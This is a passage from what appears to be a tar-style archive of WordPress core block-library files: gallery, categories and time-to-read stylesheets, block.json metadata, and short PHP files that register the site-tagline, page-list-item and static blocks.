* Converts a hex value into the rgb equivalent.
*
* @param {string} hex - the hexadecimal value to convert
* @return {string} comma separated rgb values
*/
/**
* Long content fade mixin
*
* Creates a fading overlay to signify that the content is longer
* than the space allows.
*/
/**
* Breakpoint mixins
*/
/**
* Focus styles.
*/
/**
* Applies editor left position to the selector passed as argument
*/
/**
* Styles that are reused verbatim in a few places
*/
/**
* Allows users to opt-out of animations via OS-level preferences.
*/
/**
* Reset default styles for JavaScript UI based pages.
* This is a WP-admin agnostic reset
*/
/**
* Reset the WP Admin page styles for Gutenberg-like pages.
*/
/**
* Creates a checkerboard pattern background to indicate transparency.
* @param {String} $size - The size of the squares in the checkerboard pattern. Default is 12px.
*/
.wp-block-gallery:not(.has-nested-images),
.blocks-gallery-grid:not(.has-nested-images) {
display: flex;
flex-wrap: wrap;
list-style-type: none;
padding: 0;
margin: 0;
}
.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image,
.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item,
.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image,
.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item {
margin: 0 0 1em 1em;
display: flex;
flex-grow: 1;
flex-direction: column;
justify-content: center;
position: relative;
width: calc(50% - 1em);
}
.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image:nth-of-type(even),
.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item:nth-of-type(even),
.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image:nth-of-type(even),
.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item:nth-of-type(even) {
margin-left: 0;
}
.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image figure,
.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item figure,
.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image figure,
.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item figure {
margin: 0;
height: 100%;
display: flex;
align-items: flex-end;
justify-content: flex-start;
}
.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image img,
.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item img,
.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image img,
.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item img {
display: block;
max-width: 100%;
height: auto;
width: auto;
}
.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image figcaption,
.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item figcaption,
.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image figcaption,
.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item figcaption {
position: absolute;
bottom: 0;
width: 100%;
max-height: 100%;
overflow: auto;
padding: 3em 0.77em 0.7em;
color: #fff;
text-align: center;
font-size: 0.8em;
background: linear-gradient(0deg, rgba(0, 0, 0, 0.7) 0, rgba(0, 0, 0, 0.3) 70%, transparent);
box-sizing: border-box;
margin: 0;
z-index: 2;
}
.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image figcaption img,
.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item figcaption img,
.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image figcaption img,
.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item figcaption img {
display: inline;
}
.wp-block-gallery:not(.has-nested-images) figcaption,
.blocks-gallery-grid:not(.has-nested-images) figcaption {
flex-grow: 1;
}
.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-image a,
.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-image img, .wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-item a,
.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-item img,
.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-image a,
.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-image img,
.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-item a,
.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-item img {
width: 100%;
height: 100%;
flex: 1;
object-fit: cover;
}
.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-image, .wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-item,
.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-image,
.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-item {
width: 100%;
margin-left: 0;
}
@media (min-width: 600px) {
.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-image, .wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-item,
.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-image,
.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-item {
width: calc(33.3333333333% - 0.6666666667em);
margin-left: 1em;
}
.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-image, .wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-item,
.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-image,
.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-item {
width: calc(25% - 0.75em);
margin-left: 1em;
}
.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-image, .wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-item,
.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-image,
.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-item {
width: calc(20% - 0.8em);
margin-left: 1em;
}
.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-image, .wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-item,
.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-image,
.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-item {
width: calc(16.6666666667% - 0.8333333333em);
margin-left: 1em;
}
.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-image, .wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-item,
.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-image,
.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-item {
width: calc(14.2857142857% - 0.8571428571em);
margin-left: 1em;
}
.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-image, .wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-item,
.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-image,
.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-item {
width: calc(12.5% - 0.875em);
margin-left: 1em;
}
.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-image:nth-of-type(1n), .wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-item:nth-of-type(1n),
.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-image:nth-of-type(1n),
.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-item:nth-of-type(1n) {
margin-left: 0;
}
.wp-block-gallery:not(.has-nested-images).columns-2 .blocks-gallery-image:nth-of-type(2n), .wp-block-gallery:not(.has-nested-images).columns-2 .blocks-gallery-item:nth-of-type(2n),
.blocks-gallery-grid:not(.has-nested-images).columns-2 .blocks-gallery-image:nth-of-type(2n),
.blocks-gallery-grid:not(.has-nested-images).columns-2 .blocks-gallery-item:nth-of-type(2n) {
margin-left: 0;
}
.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-image:nth-of-type(3n), .wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-item:nth-of-type(3n),
.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-image:nth-of-type(3n),
.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-item:nth-of-type(3n) {
margin-left: 0;
}
.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-image:nth-of-type(4n), .wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-item:nth-of-type(4n),
.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-image:nth-of-type(4n),
.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-item:nth-of-type(4n) {
margin-left: 0;
}
.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-image:nth-of-type(5n), .wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-item:nth-of-type(5n),
.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-image:nth-of-type(5n),
.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-item:nth-of-type(5n) {
margin-left: 0;
}
.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-image:nth-of-type(6n), .wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-item:nth-of-type(6n),
.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-image:nth-of-type(6n),
.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-item:nth-of-type(6n) {
margin-left: 0;
}
.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-image:nth-of-type(7n), .wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-item:nth-of-type(7n),
.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-image:nth-of-type(7n),
.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-item:nth-of-type(7n) {
margin-left: 0;
}
.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-image:nth-of-type(8n), .wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-item:nth-of-type(8n),
.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-image:nth-of-type(8n),
.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-item:nth-of-type(8n) {
margin-left: 0;
}
}
.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image:last-child,
.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item:last-child,
.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image:last-child,
.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item:last-child {
margin-left: 0;
}
.wp-block-gallery:not(.has-nested-images).alignleft, .wp-block-gallery:not(.has-nested-images).alignright,
.blocks-gallery-grid:not(.has-nested-images).alignleft,
.blocks-gallery-grid:not(.has-nested-images).alignright {
max-width: 420px;
width: 100%;
}
.wp-block-gallery:not(.has-nested-images).aligncenter .blocks-gallery-item figure,
.blocks-gallery-grid:not(.has-nested-images).aligncenter .blocks-gallery-item figure {
justify-content: center;
}
.wp-block-gallery:not(.is-cropped) .blocks-gallery-item {
align-self: flex-start;
}
figure.wp-block-gallery.has-nested-images {
align-items: normal;
}
.wp-block-gallery.has-nested-images figure.wp-block-image:not(#individual-image) {
width: calc(50% - var(--wp--style--unstable-gallery-gap, 16px) / 2);
margin: 0;
}
.wp-block-gallery.has-nested-images figure.wp-block-image {
display: flex;
flex-grow: 1;
justify-content: center;
position: relative;
flex-direction: column;
max-width: 100%;
box-sizing: border-box;
}
.wp-block-gallery.has-nested-images figure.wp-block-image > div,
.wp-block-gallery.has-nested-images figure.wp-block-image > a {
margin: 0;
flex-direction: column;
flex-grow: 1;
}
.wp-block-gallery.has-nested-images figure.wp-block-image img {
display: block;
height: auto;
max-width: 100% !important;
width: auto;
}
.wp-block-gallery.has-nested-images figure.wp-block-image:has(figcaption)::before,
.wp-block-gallery.has-nested-images figure.wp-block-image figcaption {
position: absolute;
bottom: 0;
left: 0;
right: 0;
max-height: 100%;
}
.wp-block-gallery.has-nested-images figure.wp-block-image:has(figcaption)::before {
content: "";
height: 100%;
max-height: 3em;
pointer-events: none;
backdrop-filter: blur(3px);
-webkit-mask-image: linear-gradient(0deg, #000 20%, transparent 100%);
mask-image: linear-gradient(0deg, #000 20%, transparent 100%);
}
.wp-block-gallery.has-nested-images figure.wp-block-image figcaption {
color: #fff;
text-shadow: 0 0 1.5px #000;
font-size: 13px;
margin: 0;
overflow: auto;
padding: 1em;
text-align: center;
box-sizing: border-box;
}
.wp-block-gallery.has-nested-images figure.wp-block-image figcaption::-webkit-scrollbar {
width: 12px;
height: 12px;
}
.wp-block-gallery.has-nested-images figure.wp-block-image figcaption::-webkit-scrollbar-track {
background-color: transparent;
}
.wp-block-gallery.has-nested-images figure.wp-block-image figcaption::-webkit-scrollbar-thumb {
background-color: transparent;
border-radius: 8px;
border: 3px solid transparent;
background-clip: padding-box;
}
.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:hover::-webkit-scrollbar-thumb, .wp-block-gallery.has-nested-images figure.wp-block-image figcaption:focus::-webkit-scrollbar-thumb, .wp-block-gallery.has-nested-images figure.wp-block-image figcaption:focus-within::-webkit-scrollbar-thumb {
background-color: rgba(255, 255, 255, 0.8);
}
.wp-block-gallery.has-nested-images figure.wp-block-image figcaption {
scrollbar-width: thin;
scrollbar-gutter: stable both-edges;
scrollbar-color: transparent transparent;
}
.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:hover, .wp-block-gallery.has-nested-images figure.wp-block-image figcaption:focus, .wp-block-gallery.has-nested-images figure.wp-block-image figcaption:focus-within {
scrollbar-color: rgba(255, 255, 255, 0.8) transparent;
}
.wp-block-gallery.has-nested-images figure.wp-block-image figcaption {
will-change: transform;
}
@media (hover: none) {
.wp-block-gallery.has-nested-images figure.wp-block-image figcaption {
scrollbar-color: rgba(255, 255, 255, 0.8) transparent;
}
}
.wp-block-gallery.has-nested-images figure.wp-block-image figcaption {
background: linear-gradient(0deg, rgba(0, 0, 0, 0.4) 0%, transparent 100%);
}
.wp-block-gallery.has-nested-images figure.wp-block-image figcaption img {
display: inline;
}
.wp-block-gallery.has-nested-images figure.wp-block-image figcaption a {
color: inherit;
}
.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border img {
box-sizing: border-box;
}
.wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded > div,
.wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded > a, .wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border > div,
.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border > a {
flex: 1 1 auto;
}
.wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded figcaption, .wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border figcaption {
flex: initial;
background: none;
color: inherit;
margin: 0;
padding: 10px 10px 9px;
position: relative;
text-shadow: none;
}
.wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded::before, .wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border::before {
content: none;
}
.wp-block-gallery.has-nested-images figcaption {
flex-grow: 1;
flex-basis: 100%;
text-align: center;
}
.wp-block-gallery.has-nested-images:not(.is-cropped) figure.wp-block-image:not(#individual-image) {
margin-top: 0;
margin-bottom: auto;
}
.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image) {
align-self: inherit;
}
.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image) > div:not(.components-drop-zone),
.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image) > a {
display: flex;
}
.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image) a,
.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image) img {
width: 100%;
flex: 1 0 0%;
height: 100%;
object-fit: cover;
}
.wp-block-gallery.has-nested-images.columns-1 figure.wp-block-image:not(#individual-image) {
width: 100%;
}
@media (min-width: 600px) {
.wp-block-gallery.has-nested-images.columns-3 figure.wp-block-image:not(#individual-image) {
width: calc(33.3333333333% - var(--wp--style--unstable-gallery-gap, 16px) * 0.6666666667);
}
.wp-block-gallery.has-nested-images.columns-4 figure.wp-block-image:not(#individual-image) {
width: calc(25% - var(--wp--style--unstable-gallery-gap, 16px) * 0.75);
}
.wp-block-gallery.has-nested-images.columns-5 figure.wp-block-image:not(#individual-image) {
width: calc(20% - var(--wp--style--unstable-gallery-gap, 16px) * 0.8);
}
.wp-block-gallery.has-nested-images.columns-6 figure.wp-block-image:not(#individual-image) {
width: calc(16.6666666667% - var(--wp--style--unstable-gallery-gap, 16px) * 0.8333333333);
}
.wp-block-gallery.has-nested-images.columns-7 figure.wp-block-image:not(#individual-image) {
width: calc(14.2857142857% - var(--wp--style--unstable-gallery-gap, 16px) * 0.8571428571);
}
.wp-block-gallery.has-nested-images.columns-8 figure.wp-block-image:not(#individual-image) {
width: calc(12.5% - var(--wp--style--unstable-gallery-gap, 16px) * 0.875);
}
.wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image) {
width: calc(33.33% - var(--wp--style--unstable-gallery-gap, 16px) * 0.6666666667);
}
.wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:nth-last-child(2),
.wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:nth-last-child(2) ~ figure.wp-block-image:not(#individual-image) {
width: calc(50% - var(--wp--style--unstable-gallery-gap, 16px) * 0.5);
}
.wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:nth-last-child(1) {
width: 100%;
}
}
.wp-block-gallery.has-nested-images.alignleft, .wp-block-gallery.has-nested-images.alignright {
max-width: 420px;
width: 100%;
}
.wp-block-gallery.has-nested-images.aligncenter {
justify-content: center;
} gallery/block.json 0000644 00000006441 15237550573 0010211 0 ustar 00 {
"$schema": "https://schemas.wp.org/trunk/block.json",
"apiVersion": 3,
"name": "core/gallery",
"title": "Gallery",
"category": "media",
"usesContext": [ "galleryId" ],
"allowedBlocks": [ "core/image" ],
"description": "Display multiple images in a rich gallery.",
"keywords": [ "images", "photos" ],
"textdomain": "default",
"attributes": {
"images": {
"type": "array",
"default": [],
"source": "query",
"selector": ".blocks-gallery-item",
"query": {
"url": {
"type": "string",
"source": "attribute",
"selector": "img",
"attribute": "src"
},
"fullUrl": {
"type": "string",
"source": "attribute",
"selector": "img",
"attribute": "data-full-url"
},
"link": {
"type": "string",
"source": "attribute",
"selector": "img",
"attribute": "data-link"
},
"alt": {
"type": "string",
"source": "attribute",
"selector": "img",
"attribute": "alt",
"default": ""
},
"id": {
"type": "string",
"source": "attribute",
"selector": "img",
"attribute": "data-id"
},
"caption": {
"type": "rich-text",
"source": "rich-text",
"selector": ".blocks-gallery-item__caption"
}
}
},
"ids": {
"type": "array",
"items": {
"type": "number"
},
"default": []
},
"navigationButtonType": {
"type": "string",
"default": "icon",
"enum": [ "icon", "text", "both" ]
},
"shortCodeTransforms": {
"type": "array",
"items": {
"type": "object"
},
"default": []
},
"columns": {
"type": "number",
"minimum": 1,
"maximum": 8
},
"caption": {
"type": "rich-text",
"source": "rich-text",
"selector": ".blocks-gallery-caption",
"role": "content"
},
"imageCrop": {
"type": "boolean",
"default": true
},
"randomOrder": {
"type": "boolean",
"default": false
},
"fixedHeight": {
"type": "boolean",
"default": true
},
"linkTarget": {
"type": "string"
},
"linkTo": {
"type": "string"
},
"sizeSlug": {
"type": "string",
"default": "large"
},
"allowResize": {
"type": "boolean",
"default": false
},
"aspectRatio": {
"type": "string",
"default": "auto"
}
},
"providesContext": {
"allowResize": "allowResize",
"imageCrop": "imageCrop",
"fixedHeight": "fixedHeight",
"navigationButtonType": "navigationButtonType"
},
"supports": {
"anchor": true,
"align": true,
"__experimentalBorder": {
"radius": true,
"color": true,
"width": true,
"style": true,
"__experimentalDefaultControls": {
"color": true,
"radius": true
}
},
"html": false,
"units": [ "px", "em", "rem", "vh", "vw" ],
"spacing": {
"margin": true,
"padding": true,
"blockGap": [ "horizontal", "vertical" ],
"__experimentalSkipSerialization": [ "blockGap" ],
"__experimentalDefaultControls": {
"blockGap": true,
"margin": false,
"padding": false
}
},
"color": {
"text": false,
"background": true,
"gradients": true
},
"layout": {
"allowSwitching": false,
"allowInheriting": false,
"allowEditing": false,
"default": {
"type": "flex"
}
},
"interactivity": {
"clientNavigation": true
},
"listView": true
},
"editorStyle": "wp-block-gallery-editor",
"style": "wp-block-gallery"
}
gallery/theme.min.css 0000644 00000000173 15237550573 0010616 0 ustar 00 .blocks-gallery-caption{color:#555;font-size:13px;text-align:center}.is-dark-theme .blocks-gallery-caption{color:#ffffffa6} gallery/editor.min.css 0000644 00000004011 15237550573 0010775 0 ustar 00 :root :where(figure.wp-block-gallery){display:block}:root :where(figure.wp-block-gallery)>.blocks-gallery-caption{flex:0 0 100%}:root :where(figure.wp-block-gallery)>.blocks-gallery-media-placeholder-wrapper{flex-basis:100%}:root :where(figure.wp-block-gallery) .wp-block-image .components-notice.is-error{display:block}:root :where(figure.wp-block-gallery) .wp-block-image .components-notice__content{margin:4px 0}:root :where(figure.wp-block-gallery) .wp-block-image .components-notice__dismiss{position:absolute;right:5px;top:0}:root :where(figure.wp-block-gallery) .block-editor-media-placeholder.is-appender .components-placeholder__label{display:none}:root :where(figure.wp-block-gallery) .block-editor-media-placeholder.is-appender .block-editor-media-placeholder__button{margin-bottom:0}:root :where(figure.wp-block-gallery) .block-editor-media-placeholder{margin:0}:root :where(figure.wp-block-gallery) .block-editor-media-placeholder .components-placeholder__label{display:flex}:root :where(figure.wp-block-gallery) .block-editor-media-placeholder figcaption{z-index:2}:root :where(figure.wp-block-gallery) .components-spinner{left:50%;margin-left:-9px;margin-top:-9px;position:absolute;top:50%}.gallery-settings-buttons .components-button:first-child{margin-right:8px}.blocks-gallery-item figure:not(.is-selected):focus,.blocks-gallery-item img:focus{outline:none}.blocks-gallery-item figure.is-selected:before{bottom:0;box-shadow:0 0 0 1px #fff inset,0 0 0 3px var(--wp-admin-theme-color) inset;content:"";left:0;outline:2px solid #0000;pointer-events:none;position:absolute;right:0;top:0;z-index:1}.blocks-gallery-item figure.is-transient img{opacity:.3}.blocks-gallery-item .block-editor-media-placeholder{height:100%;margin:0}.blocks-gallery-item .block-editor-media-placeholder .components-placeholder__label{display:flex}.wp-block-gallery ul.blocks-gallery-grid{margin:0;padding:0}@media (min-width:600px){.wp-block-update-gallery-modal{max-width:480px}}.wp-block-update-gallery-modal-buttons{display:flex;gap:12px;justify-content:flex-end} require-static-blocks.php 0000644 00000001010 15237550573 0011475 0 ustar 00 <?php
// This file was autogenerated by tools/gutenberg/copy.js, do not change manually!
// Returns folder names for static blocks necessary for core blocks registration.
return array(
'accordion-heading',
'accordion-panel',
'audio',
'buttons',
'code',
'column',
'columns',
'embed',
'freeform',
'group',
'html',
'list-item',
'math',
'missing',
'more',
'nextpage',
'preformatted',
'pullquote',
'quote',
'separator',
'social-links',
'spacer',
'table',
'terms-query',
'text-columns',
'verse',
);
site-tagline.php 0000644 00000002263 15237550573 0007661 0 ustar 00 <?php
/**
* Server-side rendering of the `core/site-tagline` block.
*
* @package WordPress
*/
/**
* Renders the `core/site-tagline` block on the server.
*
* @since 5.8.0
*
* @param array $attributes The block attributes.
*
* @return string The render.
*/
function render_block_core_site_tagline( $attributes ) {
$site_tagline = get_bloginfo( 'description' );
if ( ! $site_tagline ) {
return;
}
$tag_name = 'p';
$align_class_name = empty( $attributes['textAlign'] ) ? '' : "has-text-align-{$attributes['textAlign']}";
$wrapper_attributes = get_block_wrapper_attributes( array( 'class' => $align_class_name ) );
if ( isset( $attributes['level'] ) && 0 !== $attributes['level'] ) {
$tag_name = 'h' . (int) $attributes['level'];
}
return sprintf(
'<%1$s %2$s>%3$s</%1$s>',
$tag_name,
$wrapper_attributes,
$site_tagline
);
}
/**
* Registers the `core/site-tagline` block on the server.
*
* @since 5.8.0
*/
function register_block_core_site_tagline() {
register_block_type_from_metadata(
__DIR__ . '/site-tagline',
array(
'render_callback' => 'render_block_core_site_tagline',
)
);
}
add_action( 'init', 'register_block_core_site_tagline' );
post-time-to-read/style.min.css 0000644 00000000062 15237550573 0012464 0 ustar 00 .wp-block-post-time-to-read{box-sizing:border-box} post-time-to-read/style-rtl.min.css 0000644 00000000062 15237550573 0013263 0 ustar 00 .wp-block-post-time-to-read{box-sizing:border-box} post-time-to-read/style.css 0000644 00000000071 15237550573 0011702 0 ustar 00 .wp-block-post-time-to-read {
box-sizing: border-box;
} post-time-to-read/style-rtl.css 0000644 00000000071 15237550573 0012501 0 ustar 00 .wp-block-post-time-to-read {
box-sizing: border-box;
} post-time-to-read/block.json 0000644 00000002605 15237550573 0012022 0 ustar 00 {
"$schema": "https://schemas.wp.org/trunk/block.json",
"apiVersion": 3,
"name": "core/post-time-to-read",
"title": "Time to Read",
"category": "theme",
"description": "Show minutes required to finish reading the post. Can also show a word count.",
"textdomain": "default",
"usesContext": [ "postId", "postType" ],
"attributes": {
"displayAsRange": {
"type": "boolean",
"default": true
},
"displayMode": {
"type": "string",
"default": "time"
},
"averageReadingSpeed": {
"type": "number",
"default": 189
}
},
"supports": {
"anchor": true,
"color": {
"gradients": true,
"__experimentalDefaultControls": {
"background": true,
"text": true
}
},
"html": false,
"spacing": {
"margin": true,
"padding": true,
"__experimentalDefaultControls": {
"margin": false,
"padding": false
}
},
"typography": {
"fontSize": true,
"lineHeight": true,
"textAlign": true,
"__experimentalFontFamily": true,
"__experimentalFontWeight": true,
"__experimentalFontStyle": true,
"__experimentalTextTransform": true,
"__experimentalTextDecoration": true,
"__experimentalLetterSpacing": true,
"__experimentalDefaultControls": {
"fontSize": true
}
},
"interactivity": {
"clientNavigation": true
},
"__experimentalBorder": {
"radius": true,
"color": true,
"width": true,
"style": true
}
}
}
page-list-item.php 0000644 00000000551 15237550573 0010113 0 ustar 00 <?php
/**
* Server-side rendering of the `core/page-list-item` block.
*
* @package WordPress
*/
/**
* Registers the `core/page-list-item` block on server.
*
* @since 6.3.0
*/
function register_block_core_page_list_item() {
register_block_type_from_metadata( __DIR__ . '/page-list-item' );
}
add_action( 'init', 'register_block_core_page_list_item' );
legacy-widget/block.json 0000644 00000001054 15237550573 0011272 0 ustar 00 {
"$schema": "https://schemas.wp.org/trunk/block.json",
"apiVersion": 3,
"name": "core/legacy-widget",
"title": "Legacy Widget",
"category": "widgets",
"description": "Display a legacy widget.",
"textdomain": "default",
"attributes": {
"id": {
"type": "string",
"default": null
},
"idBase": {
"type": "string",
"default": null
},
"instance": {
"type": "object",
"default": null
}
},
"supports": {
"html": false,
"customClassName": false,
"reusable": false
},
"editorStyle": "wp-block-legacy-widget-editor"
}
categories/style.min.css 0000644 00000000476 15237550573 0011350 0 ustar 00 .wp-block-categories{box-sizing:border-box}.wp-block-categories.alignleft{margin-right:2em}.wp-block-categories.alignright{margin-left:2em}.wp-block-categories.wp-block-categories-dropdown.aligncenter{text-align:center}.wp-block-categories .wp-block-categories__label:not(.screen-reader-text){display:block;width:100%} categories/style-rtl.min.css 0000644 00000000476 15237550573 0012147 0 ustar 00 .wp-block-categories{box-sizing:border-box}.wp-block-categories.alignleft{margin-right:2em}.wp-block-categories.alignright{margin-left:2em}.wp-block-categories.wp-block-categories-dropdown.aligncenter{text-align:center}.wp-block-categories .wp-block-categories__label:not(.screen-reader-text){display:block;width:100%} categories/style.css 0000644 00000000737 15237550573 0010566 0 ustar 00 .wp-block-categories {
box-sizing: border-box;
}
.wp-block-categories.alignleft {
/*rtl:ignore*/
margin-right: 2em;
}
.wp-block-categories.alignright {
/*rtl:ignore*/
margin-left: 2em;
}
.wp-block-categories {
/* Only apply the text align on dropdowns, not lists. */
}
.wp-block-categories.wp-block-categories-dropdown.aligncenter {
text-align: center;
}
.wp-block-categories .wp-block-categories__label:not(.screen-reader-text) {
width: 100%;
display: block;
} categories/editor.css 0000644 00000000420 15237550573 0010701 0 ustar 00 .wp-block-categories ul {
padding-left: 2.5em;
}
.wp-block-categories ul ul {
margin-top: 6px;
}
/* Center alignment for classic themes. */
[data-align=center] .wp-block-categories {
text-align: center;
}
.wp-block-categories__indentation {
padding-left: 16px;
} categories/editor-rtl.css 0000644 00000000422 15237550573 0011502 0 ustar 00 .wp-block-categories ul {
padding-right: 2.5em;
}
.wp-block-categories ul ul {
margin-top: 6px;
}
/* Center alignment for classic themes. */
[data-align=center] .wp-block-categories {
text-align: center;
}
.wp-block-categories__indentation {
padding-right: 16px;
} categories/editor-rtl.min.css 0000644 00000000306 15237550573 0012265 0 ustar 00 .wp-block-categories ul{padding-right:2.5em}.wp-block-categories ul ul{margin-top:6px}[data-align=center] .wp-block-categories{text-align:center}.wp-block-categories__indentation{padding-right:16px} categories/style-rtl.css 0000644 00000000675 15237550573 0011366 0 ustar 00 .wp-block-categories {
box-sizing: border-box;
}
.wp-block-categories.alignleft {
margin-right: 2em;
}
.wp-block-categories.alignright {
margin-left: 2em;
}
.wp-block-categories {
/* Only apply the text align on dropdowns, not lists. */
}
.wp-block-categories.wp-block-categories-dropdown.aligncenter {
text-align: center;
}
.wp-block-categories .wp-block-categories__label:not(.screen-reader-text) {
width: 100%;
display: block;
} categories/block.json 0000644 00000003656 15237550573 0010704 0 ustar 00 {
"$schema": "https://schemas.wp.org/trunk/block.json",
"apiVersion": 3,
"name": "core/categories",
"title": "Terms List",
"category": "widgets",
"description": "Display a list of all terms of a given taxonomy.",
"keywords": [ "categories" ],
"textdomain": "default",
"attributes": {
"taxonomy": {
"type": "string",
"default": "category"
},
"displayAsDropdown": {
"type": "boolean",
"default": false
},
"showHierarchy": {
"type": "boolean",
"default": false
},
"showPostCounts": {
"type": "boolean",
"default": false
},
"showOnlyTopLevel": {
"type": "boolean",
"default": false
},
"showEmpty": {
"type": "boolean",
"default": false
},
"label": {
"type": "string",
"role": "content"
},
"showLabel": {
"type": "boolean",
"default": true
}
},
"usesContext": [ "enhancedPagination" ],
"supports": {
"anchor": true,
"align": true,
"html": false,
"spacing": {
"margin": true,
"padding": true,
"__experimentalDefaultControls": {
"margin": false,
"padding": false
}
},
"typography": {
"fontSize": true,
